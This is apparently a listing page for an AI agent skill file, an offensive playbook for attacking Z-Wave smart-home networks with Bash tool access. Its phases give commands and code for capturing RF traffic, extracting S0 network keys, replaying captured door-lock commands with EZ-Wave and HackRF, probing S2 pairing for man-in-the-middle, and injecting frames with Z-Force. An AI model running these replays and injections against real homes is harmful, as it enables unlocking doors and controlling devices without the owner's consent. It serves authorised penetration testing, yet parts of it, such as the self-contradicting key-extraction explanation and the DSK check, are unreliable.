Skip to main content

z-wave

Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.

Ir a la instalación

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
30 de mayo de 2026 a las 11:58
Idioma detectado de SKILL.md
inglés
Estrellas
5611
Forks
1061

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
z-wave
description
Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.
allowed-tools
Bash Read Write
metadata
{"subdomain":"iot","when_to_use":"Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key","tags":"z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz","mitre_attack":"T1040, T1557, T1190, T1078"}
# Z-Wave S0/S2 Security Assessment > Z-Wave is the dominant proprietary RF protocol for smart-home devices > (locks, thermostats, sensors). Security class S0 (2009) has a fundamental > key-exchange flaw: the network key is transmitted in cleartext during > inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device > Specific Key) bootstrapping step that can be MITM'd if the controller > UI does not enforce out-of-band DSK verification. ## Prerequisites - **Hardware**: - RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio. - HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz). - OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave controller, for EZ-Wave / Z-Force active work). - **Software**: `gr-zwave` (GNU Radio Z-Wave OOK decoder), EZ-Wave, Z-Force / zniffer, Scapy with Z-Wave layer. ```bash # Install gr-zwave (build from source on Kali): git clone https://github.com/BastilleResearch/scapy-radio # EZ-Wave: git clone https://github.com/AFcruzBR/EZ-Wave pip install pyserial pyzmq # Z-Force (Silabs): # Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine. ``` ## Z-Wave Frequency Reference | Region | Primary frequency | Fallback | |---|---|---| | EU / UK | 868.42 MHz | 869.85 MHz | | US / CA | 908.42 MHz | 916.0 MHz | | JP | 922–926 MHz | — | | AU / NZ | 919.8 MHz | 921.4 MHz | Set your SDR to the correct region frequency. ## Phase 1: Passive Capture with RTL-SDR + gr-zwave ```bash # Start GRC flowgraph for Z-Wave OOK demodulation: # Use the gr-zwave example flowgraph (zwave_rx.grc). # Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU). gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc # Alternatively, capture raw IQ and decode offline: rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq # Then pipe through gr-zwave offline decoder: python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq ``` Capture traffic during an inclusion event (when a new device is added to the controller) — S0 key transport happens in plaintext at this moment. ## Phase 2: S0 Key Extraction During Inclusion S0 inclusion sequence: 1. Controller sends `NETWORK_KEY_SET` with the 16-byte network key **XOR'd with the Z-Wave default key** `0x00×16`. 2. Node acknowledges with `NETWORK_KEY_VERIFY`. Since the default key is all-zeros, the XOR is trivially reversible: ```python DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key def extract_s0_key(key_set_payload: bytes) -> bytes: """ key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06). """ return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY)) # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload. # In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key # derived from the controller nonce + node nonce; capture both nonces. ``` Use Scapy Z-Wave layer to parse frames from pcap: ```bash # EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB): python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt ``` ## Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key) Devices that joined with **no security class** (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay: ```bash # Record a legitimate command (e.g., door lock LOCK command): python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin # Replay the frame (unmodified) — triggers the lock: python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin ``` With HackRF + GNU Radio for raw OOK replay: ```bash # 1. Capture raw IQ of target frame: hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40 # 2. Replay at same frequency: hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47 ``` ## Phase 4: S2 DSK MITM Analysis S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors: 1. **MITM if DSK not verified**: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key. 2. **Physical DSK exposure**: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under their own controller. ```python # Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange: # Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT. # Extract the node's public key (32 bytes) from the Z-Wave Application # Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT". # Cross-check with the DSK: # First 2 bytes of the public key == first 2 bytes of the DSK (big-endian). # If auto-granted, the controller accepted without verifying remaining 14 bytes. def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool: pk_bytes = bytes.fromhex(public_key_hex) dsk_bytes = bytes.fromhex(dsk_pin.replace("-", "")) return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16] ``` ## Phase 5: Z-Force Active Fuzzing Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows injecting arbitrary Z-Wave frames via the USB Z-Wave controller: ```bash # Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch): zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF # Switch ON # Enumerate all nodes in range (broadcast NodeID 0xFF): zforce scan --freq 908420000 # Replay a captured BASIC_SET frame: zforce replay --file /tmp/basic_set.zwave --node 5 ``` ## Evidence ```bash EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)" mkdir -p "$EVIDENCE" cp /tmp/zwave_capture.iq "$EVIDENCE/" cp /tmp/ezwave_sniff.txt "$EVIDENCE/" sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt" ``` ```python kg_add_node( kind="finding", label=f"Z-Wave S0 network key extracted NodeID={node_id}", props={ "key": f"z-wave::s0::{home_id}", "home_id": home_id, "node_id": node_id, "s0_network_key_hex": s0_key.hex(), "security_class": "S0", "frequency_mhz": 908.42, "source": "gr-zwave+ezwave", }, ) ``` ## OPSEC Notes - Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies the network. Capture any frame to determine HomeID. - Replay of door lock commands is a physical security event. Only perform with owner consent and a documented rollback plan (alternate entry method). - RTL-SDR is receive-only — zero RF emission from capture phase. - HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer) if the operator has one deployed; most consumer smart-home installs do not. - S2 with ACCESS or AUTHENTICATED class and manual DSK verification is resistant to all MITM techniques described here; document as hardened. ## References - EZ-Wave: https://github.com/AFcruzBR/EZ-Wave - gr-zwave: https://github.com/BastilleResearch/scapy-radio (Z-Wave module) - Crowley & Heeger "Z-Wave Reverse Engineering" (DEF CON 21). - Silabs Z-Wave PC Zniffer: https://www.silabs.com/developers/z-wave - Z-Wave Alliance security classes: SDS13784 (Security 2 spec).
Ver en GitHub